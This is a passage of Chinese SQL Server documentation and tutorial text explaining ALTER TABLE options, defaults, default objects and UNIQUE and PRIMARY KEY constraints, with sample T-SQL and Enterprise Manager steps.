指定为约束创建的索引的存储位置。如果指定了 filegroup,索引将在该文件组内创建。如果指定了 DEFAULT,索引将在默认文件组内创建。如果未指定 ON,索引将在表所在的文件组内创建。当为 PRIMARY KEY 或 UNIQUE 约束添加聚集索引时,如果指定了 ON,那么创建聚集索引时整个表都将移到指定的文件组中。

在这里,DEFAULT 不是一个关键字。DEFAULT 是默认文件组的标识符,必须用符号界定,如 ON "DEFAULT" 或 ON [DEFAULT]。

FOREIGN KEY…REFERENCES

是为列中数据提供引用完整性的约束。FOREIGN KEY 约束要求列中的每个值在被引用表的指定列中都存在。

ref_table

是 FOREIGN KEY 约束所引用的表。

ref_column

是新 FOREIGN KEY 约束所引用的一列或多列(置于括号中)。

ON DELETE {CASCADE | NO ACTION}

指定当表中被更改的行具有引用关系,并且该行所引用的行从父表中删除时,要对被更改行采取的操作。默认设置为 NO ACTION。

如果指定 CASCADE,则从父表中删除被引用行时,也将从引用表中删除引用行。如果指定 NO ACTION,SQL Server 将产生一个错误并回滚父表中的行删除操作。

如果表中已存在 ON DELETE 的 INSTEAD OF 触发器,那么就不能定义 ON DELETE 的CASCADE 操作。

例如,在 Northwind 数据库中,Orders 表和 Customers 表之间有引用关系。Orders.CustomerID 外键引用 Customers.CustomerID 主键。

如果对 Customers 表的某行执行 DELETE 语句,并且为 Orders.CustomerID 指定 ON DELETE CASCADE 操作,则 SQL Server 将在 Orders 表中检查是否有与被删除的行相关的一行或多行。如果存在相关行,那么 Orders 表中的相关行将随 Customers 表中的被引用行一同删除。

反之,如果指定 NO ACTION,若在 Orders 表中至少有一行引用 Customers 表中要删除的行,则 SQL Server 将产生一个错误并回滚 Customers 表中的删除操作。

ON UPDATE {CASCADE | NO ACTION}

指定当表中被更改的行具有引用关系,并且该行所引用的行在父表中更新时,要对被更改行采取的操作。默认设置为 NO ACTION。

如果指定 CASCADE,则在父表中更新被引用行时,也将在引用表中更新引用行。如果指定 NO ACTION,SQL Server 将产生一个错误并回滚父表中的行更新操作。

如果表中已存在 ON DELETE 的 INSTEAD OF 触发器,那么就不能定义 ON DELETE 的CASCADE 操作。

例如,在 Northwind 数据库中,Orders 表和 Customers 表之间有引用关系。Orders.CustomerID 外键引用 Customers.CustomerID 主键。

如果对 Customers 表的某行执行 UPDATE 语句,并且为 Orders.CustomerID 指定 ON UPDATE CASCADE 操作,则 SQL Server 将在 Orders 表中检查是否有与被更新行相关的一行或多行。如果存在相关行,那么 Orders 表中的相关行将随 Customers 表中的被引用行一同更新。

反之,如果指定了 NO ACTION,若在 Orders 表中至少存在一行引用 Customers 表中要更新的行,那么 SQL Server 将引发一个错误并回滚 Customers 表中的更新操作。

[ASC | DESC]

指定加入到表约束中的一列或多列的排序次序。默认设置为 ASC。

WITH VALUES

指定在添加到现有行的新列中存储 DEFAULT constant_expression 中所给定的值。只有在 ADD 列子句中指定了 DEFAULT 的情况下,才能使用 WITH VALUES。如果要添加的列允许空值且指定了 WITH VALUES,那么将在现有行的新列中存储默认值。如果没有指定 WITH VALUES 且列允许空值,那么将在现有行的新列中存储 NULL 值。如果新列不允许空值,那么不论是否指定 WITH VALUES,都将在现有行的新列中存储默认值。

column[,...n]

是新约束所用的一列或多列(置于括号中)。

constant_expression

是用作列的默认值的字面值、NULL 或者系统函数。

FOR column

指定与表级 DEFAULT 定义相关联的列。

CHECK

是通过限制可输入到一列或多列中的可能值强制域完整性的约束。

logical_expression

是用于 CHECK 约束的返回 TRUE 或 FALSE 的逻辑表达式。用于 CHECK 约束的 Logical_expression 不能引用其它表,但可引用同一表中同一行的其它列。

注释

若要添加新数据行,请使用 INSERT 语句。若要删除数据行,请使用 DELETE 或 TRUNCATE TABLE 语句。若要更改现有行中的值,请使用 UPDATE 语句。

ALTER TABLE 语句指定的更改将立即实现。如果这些更改需要修改表中的行,ALTER TABLE 将更新这些行。ALTER TABLE 将获取表上的架构修改锁,以确保在更改期间其它连接不能引用该表(甚至不能引用其元数据)。对表进行的更改将记录于日志中,并且可以完全恢复。影响非常大的表中所有行的更改,比如除去一列或者用默认值添加 NOT NULL 列,可能需要较长时间才能完成,并会生成大量日志记录。如同影响大量行的 INSERT、UPDATE 或者 DELETE 语句一样,这一类 ALTER TABLE 语句也应小心使用。

如果过程高速缓存中存在引用该表的执行计划,ALTER TABLE 会将这些执行计划标记为下次执行时重新编译。

如果 ALTER TABLE 语句指定更改其它表所引用的列值,那么根据引用表中 ON UPDATE 或者 ON DELETE 所指定的操作,将发生以下两个事件之一。

  • 如果在引用表中没有指定值或指定了 NO ACTION(默认值),那么 ALTER TABLE 语句导致的更改父表中被引用列的操作将回滚,并且 SQL Server 将引发一个错误。

  • 如果在引用表中指定了 CASCADE,那么由 ALTER TABLE 语句导致的对父表的更改将应用于父表及其相关表。

添加 sql_variant 列的 ALTER TABLE 语句会生成下列警告:

The total row size (xx) for table 'yy' exceeds the maximum number of bytes per row (8060). Rows that exceed the maximum number of bytes will not be added.

因为 sql_variant 的最大长度为 8016 个字节,所以产生该警告。当某 sql_variant 列所含值接近最大长度时,即会超过行长度的最大字节限制。

ALTER TABLE 语句对具有架构绑定视图的表执行时,所受限制与当前在更改具有简单索引的表时所受的限制相同。添加列是允许的。但是,不允许删除或更改参与架构绑定视图的表中的列。如果 ALTER TABLE 语句要求更改用在架构绑定视图中的列,更改操作将失败,并且 SQL Server 将引发一条错误信息。有关 SCHEMABINDING 和索引视图的更多信息,请参见 CREATE VIEW

创建引用表的架构绑定视图不会影响在基表上添加或删除触发器。

当除去约束时,作为约束的一部分而创建的索引也将除去。而通过 CREATE INDEX 创建的索引必须使用 DROP INDEX 语句来除去。DBCC DBREINDEX 语句可用来重建约束定义的索引部分;而不必使用 ALTER TABLE 先除去再重新添加约束。

必须删除所有基于列的索引和约束后,才能删除列。

添加约束时,所有现有数据都要进行约束违规验证。如果发生违规,ALTER TABLE 语句将失败并返回一个错误。

当在现有列上添加新 PRIMARY KEY 或 UNIQUE 约束时,该列中的数据必须唯一。如果存在重复值,ALTER TABLE 语句将失败。当添加 PRIMARY KEY 或 UNIQUE 约束时,WITH NOCHECK 选项不起作用。

每个 PRIMARY KEY 和 UNIQUE 约束都将生成一个索引。UNIQUE 和 PRIMARY KEY 约束的数目不能导致表上非聚集索引的数目大于 249,聚集索引的数目大于 1。

如果要添加的列的数据类型为 uniqueidentifier,那么该列可以使用 NEWID() 函数作为默认值,以向表中现有行的新列提供唯一标识符值。

SQL Server 在列定义中并不强制以特定的顺序指定 DEFAULT、IDENTITY、ROWGUIDCOL 或列约束。

ALTER TABLE 的 ALTER COLUMN 子句并不会在列上绑定或取消绑定任何规则。必须分别使用 sp_bindrulesp_unbindrule 来绑定或取消绑定规则。

可将规则绑定到用户定义数据类型。然后 CREATE TABLE 将自动在以该用户定义数据类型定义的列上绑定该规则。当用 ALTER COLUMN 更改列数据类型时,并不会取消绑定这些规则。原用户定义数据类型上的规则仍然绑定在该列上。在 ALTER COLUMN 更改了列的数据类型之后,随后执行的任何从该用户定义数据类型上取消绑定规则的 sp_unbindrule 都不会导致从更改了数据类型的列上取消绑定该规则。如果 ALTER COLUMN 将列的数据类型更改为绑定了规则的用户定义数据类型,那么绑定到新数据类型的规则不会绑定到该列。

权限

ALTER TABLE 权限默认授予表的所有者、sysadmin 固定服务器角色成员、db_ownerdb_ddladmin 固定数据库角色成员且不可转让。

示例
A. 更改表以添加新列

下例添加一个允许空值的列,而且没有通过 DEFAULT 定义提供值。各行的新列中的值将为 NULL。

CREATE TABLE doc_exa ( column_a INT)
GO
ALTER TABLE doc_exa ADD column_b VARCHAR(20) NULL
GO
EXEC sp_help doc_exa
GO
DROP TABLE doc_exa
GO
B. 更改表以除去列

下例修改表以删除一列。

CREATE TABLE doc_exb ( column_a INT, column_b VARCHAR(20) NULL)
GO
ALTER TABLE doc_exb DROP COLUMN column_b
GO
EXEC sp_help doc_exb
GO
DROP TABLE doc_exb
GO
C. 更改表以添加具有约束的列

下例向表中添加具有 UNIQUE 约束的新列。

CREATE TABLE doc_exc ( column_a INT)
GO
ALTER TABLE doc_exc ADD column_b VARCHAR(20) NULL
   CONSTRAINT exb_unique UNIQUE
GO
EXEC sp_help doc_exc
GO
DROP TABLE doc_exc
GO
D. 更改表以添加未验证的约束

下例向表中的现有列上添加约束。该列中存在一个违反约束的值;因此,利用 WITH NOCHECK 来防止对现有行验证约束,从而允许该约束的添加。

CREATE TABLE doc_exd ( column_a INT)
GO
INSERT INTO doc_exd VALUES (-1)
GO
ALTER TABLE doc_exd WITH NOCHECK
ADD CONSTRAINT exd_check CHECK (column_a > 1)
GO
EXEC sp_help doc_exd
GO
DROP TABLE doc_exd
GO
E. 更改表以添加多个带有约束的列

下例向表中添加多个带有约束的新列。第一个新列具有 IDENTITY 属性;表中每一行的标识列都将具有递增的新值。

CREATE TABLE doc_exe ( column_a INT CONSTRAINT column_a_un UNIQUE)
GO
ALTER TABLE doc_exe ADD 

/* Add a PRIMARY KEY identity column. */
column_b INT IDENTITY
CONSTRAINT column_b_pk PRIMARY KEY, 

/* Add a column referencing another column in the same table. */
column_c INT NULL
CONSTRAINT column_c_fk
REFERENCES doc_exe(column_a),

/* Add a column with a constraint to enforce that   */
/* nonnull data is in a valid phone number format.  */
column_d VARCHAR(16) NULL
CONSTRAINT column_d_chk
CHECK
(column_d IS NULL OR
column_d LIKE "[0-9][0-9][0-9]-[0-9][0-9][0-9][0-9]" OR
column_d LIKE
"([0-9][0-9][0-9]) [0-9][0-9][0-9]-[0-9][0-9][0-9][0-9]"),

/* Add a nonnull column with a default.  */
column_e DECIMAL(3,3)
CONSTRAINT column_e_default
DEFAULT .081
GO
EXEC sp_help doc_exe
GO
DROP TABLE doc_exe
GO
F. 添加具有默认值的可为空的列

下例添加可为空的、具有 DEFAULT 定义的列,并使用 WITH VALUES 为表中的各现有行提供值。如果没有使用 WITH VALUES,那么每一行的新列中都将具有 NULL 值。

ALTER TABLE MyTable
ADD AddDate smalldatetime NULL
CONSTRAINT AddDateDflt
DEFAULT getdate() WITH VALUES
G. 禁用并重新启用一个约束

下例禁用用于限制可接受的薪水数据的约束。WITH NOCHECK CONSTRAINT 与 ALTER TABLE 一起使用,以禁用该约束并使正常情况下会引起约束违规的插入操作得以执行。WITH CHECK CONSTRAINT 重新启用该约束。

CREATE TABLE cnst_example
(id INT NOT NULL,
 name VARCHAR(10) NOT NULL,
 salary MONEY NOT NULL
    CONSTRAINT salary_cap CHECK (salary < 100000)
)

-- Valid inserts
INSERT INTO cnst_example VALUES (1,"Joe Brown",65000)
INSERT INTO cnst_example VALUES (2,"Mary Smith",75000)

-- This insert violates the constraint.
INSERT INTO cnst_example VALUES (3,"Pat Jones",105000)

-- Disable the constraint and try again.
ALTER TABLE cnst_example NOCHECK CONSTRAINT salary_cap
INSERT INTO cnst_example VALUES (3,"Pat Jones",105000)

-- Reenable the constraint and try another insert, will fail.
ALTER TABLE cnst_example CHECK CONSTRAINT salary_cap
INSERT INTO cnst_example VALUES (4,"Eric James",110000)
H. 禁用并重新启用触发器

下例使用 ALTER TABLE 的 DISABLE TRIGGER 选项来禁用触发器,以使正常情况下会违反触发器条件的插入操作得以执行。然后下例使用 ENABLE TRIGGER 重新启用触发器。

CREATE TABLE trig_example
(id INT,
name VARCHAR(10),
salary MONEY)
go
-- Create the trigger.
CREATE TRIGGER trig1 ON trig_example FOR INSERT
as
IF (SELECT COUNT(*) FROM INSERTED
WHERE salary > 100000) > 0
BEGIN
print "TRIG1 Error: you attempted to insert a salary > $100,000"
ROLLBACK TRANSACTION
END
GO
-- Attempt an insert that violates the trigger.
INSERT INTO trig_example VALUES (1,"Pat Smith",100001)
GO
-- Disable the trigger.
ALTER TABLE trig_example DISABLE TRIGGER trig1
GO
-- Attempt an insert that would normally violate the trigger
INSERT INTO trig_example VALUES (2,"Chuck Jones",100001)
GO
-- Re-enable the trigger.
ALTER TABLE trig_example ENABLE TRIGGER trig1
GO
-- Attempt an insert that violates the trigger.
INSERT INTO trig_example VALUES (3,"Mary Booth",100001)
GO

2006年01月13日

建立与使用默认值、条件约束及规则
默认值
条件约束
规则对象
本章总结
默认值、条件约束及规则对象皆是您可以在数据表的数据行定义中的选择性属性。在 第15章 ,曾学习了使用如何用ALTER TABLE命令替数据表新增具有默认值的数据行。本章则涵盖设立及修改默认值之方式。回顾一下,设定 默认值 (default)指的是在一没有明确设定值的数据行中,输入一明确的值。 条件约束 (constraint)则是提供了用于辨识有效数据行值的方法(为了拒绝无效的值)。本章将介绍五种类型的条件约束值及如何使用T-SQL及Microsoft SQL Server Enterprise Manager来设立和修改默认值及条件约束的方法,不过,使用Enterprise Manager会较为简单。
默认值
 
下述状况得以解释为何需要在数据表的数据行中设立默认值。例如您如果想在含有一个或多个可为NULL数据行的数据表中插入数据列,则这些数据行将会被输入为NULL值。但是如果这些数据行被定义为NOT NULL,并且于插入数据列时并未替该批数据行提供值,那么将会有一条错误讯息提醒您NULL无法被插入该批资料行中。此时默认值即可发挥其功效。默认值可在此时替代NULL值,以避免产生错误讯息。
Microsoft SQL Server 7.0允许您为数据表中的每一数据行定义一个默认值。具有timestamp数据型别或IDENTITY、ROWGUIDCOL属性的数据行不能定义默认值,因为这些数据行必须是特殊的值。 默认值 定义中指定的值也必须与数据行中的数据型别是兼容的。
有几种建立和修改默认值定义的方式。在这部份,我们首先介绍如何以T-SQL于建立数据表时定义一个默认值,以及如何透过新增或修改默认值来修改数据行;之后则会介绍以Enterprise Manager来执行相同的工作。在 第15章 里我们曾介绍如何替数据表新增有默认值的数据行,以及此数据行对数据表中现存的数据列所产生的影响。在此,我们将提供一范例以详述可用的选项及新增默认值对数据表中现存数据行的影响。
使用T-SQL来定义和修改默认值
 
您可以用下列三项陈述式之一为数据行定义默认值:CREATE TABLE、ALTER TABLE或CREATE DEFAULT。SQL Server 2000使用CREATE DEFAULT来建立 预设 对象,保持向后兼容性。使用这种方式时,SQL Server把数据表和对象分开储存,因此必须透过系统预存程序sp_bindefault把对象系结到数据表上。删除数据表时,DEFAULT定义自动从数据表中解除系结,但是 预设 对象仍然存在。在使用CREATE TABLE或ALTER TABLE时,SQL Server会把 预设 对象定义和数据表一同储存,如果数据表被删除,预设对象也会自动被删除,而不须再采取其它操作步骤。因此,通常不建议使用CREATE DEFAULT。然而,当对多个数据行使用相同的默认值时,使用 预设 对象也可能会带来好处。
当执行T-SQL时,应使用SQL Query Analyzer,因其执行结果可显示在使用者图形接口上。此项功能比在命令窗口内执行更方便使用者阅读。
使用CREATE TABLE建立默认值
 
使用CREATE TABLE命令在数据行中建立默认值是较常用的标准技巧。以下的陈述式在MyDB中建立一有默认值的数据表,并同时定义了两个数据行:A数据行为char类型;B数据行为int类型。
USE MyDB
CREATE TABLE MyTABLE
(
columnA  char(15)  NULL DEFAULT ‘n/a’,
columnB  int NULL  DEFAULT 0
)
GO
columnA中的默认值n/a与该数据行的char数据型别兼容;相同的,columnB中的默认值0和该数据行的int数据型别兼容。如果我们在数据表中插入一数据列而没有为columnA及columnB的两个数据行指定数值,则默认值会被自动取用。所以若要该数据行保持NULL,则要明白表示要插入NULL值。因为此两数据行皆可包含NULL值,所以欲插入NULL值是被允许的。但若数据行定义为NOT NULL,则不能插入NULL值。
使用ALTER TABLE修改默认值
 
使用ALTER TABLE命令可以修改数据行中的默认值定义或新增一数据行。若要更改已经定义的默认值数据行,首先必须删除已经有的默认值,然后新增一个新的默认值(若您使用的是Enterprise Manager就会较为简单,因为使用Enterprise Manager就不需执行删除的步骤)。
如果用CREATE TABLE命令建立未命名的默认值,或使用Enterprise Manager(将在本章后面部份介绍),SQL Server将自动替默认值命名。要知道SQL Server为默认值分配了什么名字,以便可以使用T-SQL删除它,您可执行sp_help程序如下:
USE MyDB
GO
sp_help MyTable
GO
所有MyTable的默认值名称皆列示在图16-1中的constraint_name资料行下面:

 
 
图16-1 sp_help程序的输出
假设我们要把columnA的默认值从n/a改成not applicable。记住首先必须删除存在的默认值然后再新增一个新的。下述命令即可删除默认值:
ALTER TABLE MyTable
DROP CONSTRAINT DF_MyTable_columnA_2B3F6F97
现在您可以使用下述命令新增一个默认值,这次由我们自己命名,:
ALTER TABLE MyTable
ADD CONSTRAINT DF_MyTable_columnA
DEFAULT "Not applicable" FOR columnA
GO
当变更已存在的默认值时,所有现存的列将保持原始的默认值。只有新插入的列会使用新的默认值。
如 第15章 所述,您也可以用ALTER TABLE命令为已有的数据表新增完整的新数据行,如下所示:
ALTER TABLE MyTable
ADD columnC tinyint NOT NULL DEFAULT 13
GO
现在MyTable范例数据表已新增了数据行columnC数据行,其默认值为13。因为columnC是定义为NOT NULL的新数据行,数据表中现存数据行的新数据行将会被分配为默认值13。
如果新数据行允许被设定为NULL值,数据表中现存数据行的新数据行则会被分配为NULL值。若我们希望用默认值而不是NULL插入已存在的列,则应该使用DEFAULT中的WITH VALUES选项,如下所示:
ALTER TABLE MyTable
ADD columnC tinyint NULL DEFAULT 13 WITH VALUES
GO
WITH VALUES命令会强行使MyTable中所有现存列的新数据行接受默认值13来代替原来的NULL值。
现在,我们已经学习了如何建立与数据表储存在一起的DEFAULT定义。下面我们将学习如何用CREATE DEFAULT来建立一个和数据表分开储存的 预设 对象。
CREATE DEFAULT和sp_bindefault
 
您还可以使用T-SQL CREATE DEFAULT命令来建立Default对象,进而新增或修改现存数据行的默认值。建立默认值对象后,使用系统预存程序sp_bindefault可以把它系结至数据行或系结至使用者自订的数据型别上。如前所述,在SQL Server 2000中保留这种方法的目的是为了向后兼容性,因此它不是很好的方法。但是,如果要在不同的数据表中使用相同的默认值数据行,此方法则较为有效。
下面介绍一个例子,使用CREATE DEFAULT来建立名称为DF_not_applicable的默认值对象,其值为n/a。在MyDB数据库中建立该 预设 对象,并系结至MyTable的columnA上(假定数据表中现在不存在默认值)。使用CREATE DEFAULT的语法如下:
CREATE DEFAULT default_name AS constant_expression
sp_bindefault的语法如下:
sp_bindefault ‘default_name’ table.column | user_defined_datatype
[", futureonly"]
参数default_name是 预设 对象的名称。Table.column是指定要分配预设对象的数据行。
下面的T-SQL陈述式能建立范例的预设对象,并把它系结至MyTable的columnA上:
USE MyDB
GO
CREATE DEFAULT DF_not_applicable AS ‘n/a’
GO
sp_bindefault "DF_not_applicable", "MyTable.columnA"
GO
如果columnA中已经存在默认值,执行sp_bindefault时,SQL Server将传回一条错误讯息,通知您不能系结 预设 对象到已经具有默认值的数据行上。您首先须删除原默认值,然后把新的预设对象系结至该数据行上(使用DROP DEFAULT删除预设对象的过程将在本节后面介绍)。
您还可以建立一预设对象并将此对象与使用者自订数据型别系结起来。系结预设对象到使用者自订数据型别时,您可以使用sp_bindefault的futureonly选项。这一选项防止现存的使用者自订型别数据行接受这个新的默认值,而只有新建立的使用者自订型别的数据行才能接受其相关联的默认值。如果没有指定futureonly,SQL Server将默认值系结到所有已经存在的和新建立的使用者自订类型的数据行上。
例如,让我们建立一个名称为area_code的使用者自订型别和名称为DF_area_code的默认值对象,其值为786;然后系结默认值到该使用者自订数据型别上(使用者自订数据型别的建立在 第10章 介绍过)。因为这是新的使用者自订数据型别,因此目前还没有数据行,也就不需要futureonly选项,但我们依然保留它,因为保留它不会有什么影响。该陈述式将如下所示:
sp_addtype "area_code", "char(3)", "NOT NULL"
GO
CREATE DEFAULT DF_area_code AS 786
GO
sp_bindefault "DF_area_code", "area_code", "futureonly"
GO
要检视 预设 对象的数据型别,可使用sp_help系统程序,如图16-2所示。

 
 
图16-2 sp_help的Query Analyzer结果。
sp_unbindefault
 
要从数据行或使用者自订资料型别中解除系结预设对象,您可以使用sp_unbindefault。例如要解除MyTable中与columnA数据行系结的默认值:sp_unbindefault,其陈述式如下:
sp_unbindefault "MyTable.columnA"
GO
使用下列陈述式,从使用者自订的数据型别area_code中解除系结默认值:
sp_unbindefault "area_code"
GO
当执行以上程序,所有已经由使用者自订数据型别area_code的默认值属性将会同时移除。
您可以使用不同的sp_bindefault陈述式将预设对象系结到多个数据行中。同样的,只要在不删除预设对象的情形下,您可以随意地解除或系结某个数据行的预设。使用DROP DEFAULT陈述式,可以完全删除一个 预设 对象,如下所示:
DROP DEFAULT DF_area_code
GO
一旦删除了预设对象,就无法再取回。如果要再次使用,必须使用CREATE DEFAULT重新建立对象。
使用Enterprise Manager定义及修改默认值
 
正如 第15章 所示,使用Enterprise Manager建立和修改数据表可能是最简单的方法。用Enterprise Manager建立或修改数据表或数据行时,SQL Server会自动执行适当的T-SQL命令替您完成任务(关于如何使用Enterprise Manager按部就班地建立数据表,请参阅 第10章 )。这部分将学习如何用Enterprise Manager指定默认值定义和修改默认值数据行的详细内容,以及如何建立预设对象。让我们从指定及修改默认值定义的例子讲起。
指定及修改默认值定义
 
假设在MyDB数据库中有一个名为Product_Info的数据表。数据表的结构如图16-3所示(使用Enterprise Manager建立数据表的说明请参阅 第10章 )。

 
 
图16-3 Product_Info数据表的 设计数据表 窗口
要定义默认值,只需在 默认值 标题下的储存格中键入数据行的默认值。注意图16-3中Desciption数据行的默认值定义为 ‘ n/a ‘,这只是表示目前尚未指定该项产品的特征。同时要注意默认值被括在小括号中-Enterprise Manager会在您储存数据表时自动新增以上默认值。
变更默认值也很简单。仅需用新默认值取代原默认值,再按一下 存盘 按钮将操作储存即可。图16-4显示把Desciption的默认值变更为’not available’;图16-5显示在Product_Name新增一个默认值general merchandise。
________________________________________
说明
在 默认值 储存格中输入字符串,必须放在单引号中,否则储存时会显示SQL Server的错误讯息。
________________________________________

 
 
图16-4 设计数据表窗口,显示修改的默认值

 
 
图16-5 设计数据表窗口,显示新增的默认值
与T-SQL类似,使用Enterprise Manager新增或修改现存数据行上的默认值时,并不影响数据表中现存的数据列,只有新插入的数据列会使用新的默认值。如果替数据表新增一个数据行并指定一个默认值,在默认值不允许为NULL值的情况下,任何现存数据列中的数据将得到新数据行的默认值;如果允许为NULL值,则现存列中的新数据行将会分配为NULL值。要使新数据行允许为NULL值,并把默认值强行插入到所有现存列中,请参考本章前面 〈使用ALTER TABLE修改默认值〉 部分介绍的方法。
建立和管理预设对象
 
您也可以使用Enterprise Manager来建立预设对象和检视已有的预设物件。要检视已有的预设对象,开启Enterprise Manager,展开要使用的服务器和数据库,按一下 预设 。所有现存的预设对象将显示在右边窗格中,如图16-6所示。注意,您将可以看到在本章前面用CREATE DEFAULT建立的DF_not_applicable及DF_area_code预设对象。

 
 
图16-6 检视现存的预设物件
要使用Enterprise Manager建立新的预设对象,并关联预设对象到数据行或使用者自订数据型别上,须遵循下列步骤:
1. 展开服务器和数据库,在 预设 上按右钮,并在快捷菜单上选择 新增预设 ,以显示出 预设属性 窗口,如图16-7所示。把此预设对象命名为DF_none,并分配 ‘ none ‘ 为其值。完成操作后按一下 确定 。
 
 
图16-7 预设属性窗口
2. 要系结预设对象到使用者自订数据型别或某一数据行上,在Enterprise Manager右边窗格中的默认值名称(本例是DF_none)上按右钮,并从快捷菜单中选择 内容 。 预设属性 窗口将再次出现,不过这次可以使用 系结UDT (使用者自订数据型别)和 系结数据行 按钮。
按一下 系结UDT 按钮会显示 系结默认值到使用者自订的数据型别 的对话框,如图16-8所示。这个对话框将显示所有使用者自订数据型别,从清单中选择要关联默认值的使用者自订数据型别。图16-8中,可以看见area_code及brand_type数据型别。如果已经定义了很多使用者自订资料型别,它们也会显示在此清单中。操作完成后,按一下 套用 再按 确定 即可返回 预设属性 窗口。
3. 要将默认值系结到数据行上,按一下 系结数据行 按钮, 系结默认值到数据行 的对话框即会显示。现在选择要系结的数据行。首先从 数据表 下拉式清单中选择数据表名称,然后从 未系结数据行 清单中选择要系结默认值的数据行名称。然后按一下 新增 (图16-9显示从Product_Info数据表中的系结数据行清单新增Price数据行的对话框)。
按一下 确定 返回 预设属性 窗口,然后按一下 确定 关闭 预设属性 窗口。

 
 
图16-8 「系结默认值到使用者自订的数据型别」对话框

 
 
图16-9 「系结默认值到数据行」对话框
要从使用者自订类型中解除预设对象,可在 预设属性 窗口中开启如上所述的 系结默认值到使用者自订的数据型别 对话框,然后清除 系结 复选框。要解除预设对象的默认值,开启 系结默认值到数据行 对话框,选择数据行名称,按一下 移除 。
要删除预设对象,首先必须先从其它对象中解除预设对象的系结。如果您试图删除与对象系结的预设,SQL Server将传回错误讯息。要删除预设对象,按一下Enterprise Manager左边窗格中的 预设 ,在预设对象名称上按右钮,并在快捷菜单中选择 删除 ,再按一下 卸除对象 对话框中的 卸除全部 。
到此为止,我们已讲述了预设对象,下面将开始介绍条件约束。
条件约束
 
条件约束用于自动维护数据的完整性。举个例子,您可以将一个整数数据行条件约束在1到100的范围内,那么超出此范围的数值则无法被接受(CHECK功能即可设立此条件约束)。在单一资料行上的条件约束称为资料行条件约束(column constraint),它只约束该数据行的取值范围。影响两个或多个数据行的条件约束称为资料表条件约束(table constraint),它确保数据行中值的结合符合条件约束的要求。条件约束的五种类型为NOT NULL、UNIQUE、PRIMARY KEY、FOREIGN KEY和CHECK。
使用T-SQL建立和修改条件约束
 
在这部分,我们将学习各种类型的条件约束和如何用T-SQL建立条件约束。稍后的部分将学习用Enterprise Manager完成同样的过程。
NOT NULL
 
NOT NULL条件约束相当简单。实际上在本章和前面章节的例子中我们已经接触过了,置于数据行中的NOT NULL条件约束能避免在数据行中插入NULL值(这与允许NULL值的NULL条件约束相反)。使用T-SQL修改数据行时,可以在建立数据表时或在建立数据表以后指定该数据行为NOT NULL(详细内容请参阅 第10章 关于修改数据库数据表部分)。
UNIQUE
 
UNIQUE条件约束用以确保一个或多个数据行中没有重复的数值。换句话说,加强资料行中数值的唯一性。要加强这种唯一性,SQL Server在UNIQUE条件约束中建立一个唯一的非丛集索引。您可以指定索引是丛集还是非丛集的,但要记住的是,一个数据表只允许有一个丛集索引。
________________________________________
说明
本章将经常使用丛集索引和非丛集索引这两个专有名词,如果您对它们的含义不是十分确定, 第17章 将详细介绍这两种类型的索引。
________________________________________
UNIQUE条件约束可以用于任一个非PRIMARY KEY的条件约束(将于下一部分介绍)的资料行,PRIMARY KEY条件约束便加强了值的唯一性。UNIQUE条件约束可以用于允许NULL值的数据行,而PRIMARY KEY条件约束不能。UNIQUE条件约束将忽略NULL值。一个被UNIQUE限制的数据行可以被FOREIGN KEY条件约束引用(在本章后面 〈FOREIGN KEY〉 部分介绍)。一张数据表能有多个UNIQUE条件约束,只要数据表的索引数不超过249个非丛集索引和1个丛集索引。
要用T-SQL为数据表建立UNIQUE条件约束,须执行CREATE TABLE或ALTER TABLE命令。例如,下面的陈述式将建立customer数据表,并在其中的SSN数据行上建立UNIQUE条件约束作为丛集索引:
CREATE TABLE customer
(
first_name   char(20) NOT NULL,
mid_init     char(1) NULL,
last_name    char(20) NOT NULL,
SSN          char(11) NOT NULL UNIQUE CLUSTERED,
cust_phone   char(10) NULL
)
GO
前面的CREATE陈述式使用了一个数据行条件约束。下面的例子同样将建立customer数据表,而这次在first_name、mid_init和last_name资料行上新增UNIQUE资料表条件约束:
CREATE TABLE customer
(
first_name   char(20) NOT NULL,
mid_init     char(1) NULL,
last_name    char(20) NOT NULL,
SSN          char(11) NOT NULL UNIQUE CLUSTERED,
cust_phone   char(10) NULL,
CONSTRAINT   UQ_full_name UNIQUE NONCLUSTERED (first_name,
             mid_init, last_name)
)
GO
UNIQUE数据表条件约束(多于一数据行的条件约束)确保数据行中的所有数值是唯一的。即表示此数据库无法接受first name、mid initial及last name完全相同的客户。注意此处的UNIQUE资料表条件约束是一个非丛集索引,因为在SSN中已经存在一个丛集索引。
要为现存数据表新增UNIQUE条件约束,须使用ALTER TABLE命令。如果要透过新增UNIQUE条件约束来修改已有的数据行,数据表中所有现存的列在这些数据行中必须保持单一或NULL的数值,否则会显示一条错误讯息,提示您不能新增UNIQUE条件约束。假设我们已经建立了没有条件约束的customer数据表。下面是新增数据行条件约束和数据表条件约束的两组命令:
ALTER TABLE customer
ADD CONSTRAINT UQ_ssn UNIQUE CLUSTERED(SSN)
GO

ALTER TABLE customer
ADD CONSTRAINT UQ_full_name UNIQUE NONCLUSTERED (first_name,
    mid_init, last_name)
GO
同样的,您只能在现存的资料符合条件约束要求时,为资料表新增条件约束。
要用T-SQL来修改数据行或数据表中已有的UNIQUE条件约束,必须先删除条件约束再重新建立。和默认值一样,为了能够简单地完成查询和删除条件约束,而不用判断SQL Server给它们分配了什么名称,您应使用描述性名称。在 〈使用Enterprise Manager建立和修改条件约束〉 部分,我们将看到,当用Enterprise Manager修改条件约束时,SQL Server将自动删除旧的条件约束,并在储存修改时重新建立条件约束。
主索引键
 
主索引键条件约束是用于指定数据表中一或多个数据行的 主索引键 (primary key),能唯一的区分某一数据列。由于主索引键的设定是为了辨识数据列,所以主索引键条件约束不可以是NULL;这一点与UNIQUE条件约束恰巧相反。为一组数据行定义主索引键条件约束时,为符合条件约束,数据行中值的结合对于每一数据列都必须是唯一的。和UNIQUE条件约束一样,PRIMARY KEY条件约束不允许有重复的值,并在主索引键中自动建立一个单一的索引。您也可以指定主索引键的索引是丛集还是非丛集;如果没有特别指定,数据表将被自动预设为丛集索引。
每张资料表只有一个PRIMARY KEY条件约束。IDENTITY数据行是做为主索引键的最好选择,或是相对于其它数据列时该数据行(或一组数据行)的值是唯一值,就可以设定主索引键。举例来说,在范例数据表customer中,我们可以将SSN数据行设为主索引键,而不是在数据行中建立UNIQUE条件约束。PRIMARY KEY条件约束不允许NULL值,所以会加强SSN数据行中值的唯一性,并自动在主索引键数据行中建立丛集索引。下面的T-SQL命令示范指定SSN数据行作为主索引键的方法。透过这种方法SQL Server会主动命名此PRIMARY KEY条件约束,因此这并不是最好的方法,因为以后可能需要透过名称来删除该键值(但是您无法知道SQL将此PRIMARY KEY取了什么名称)。
CREATE TABLE customer
(
first_name      char(20)      NOT NULL,
mid_init        char(1)       NULL,
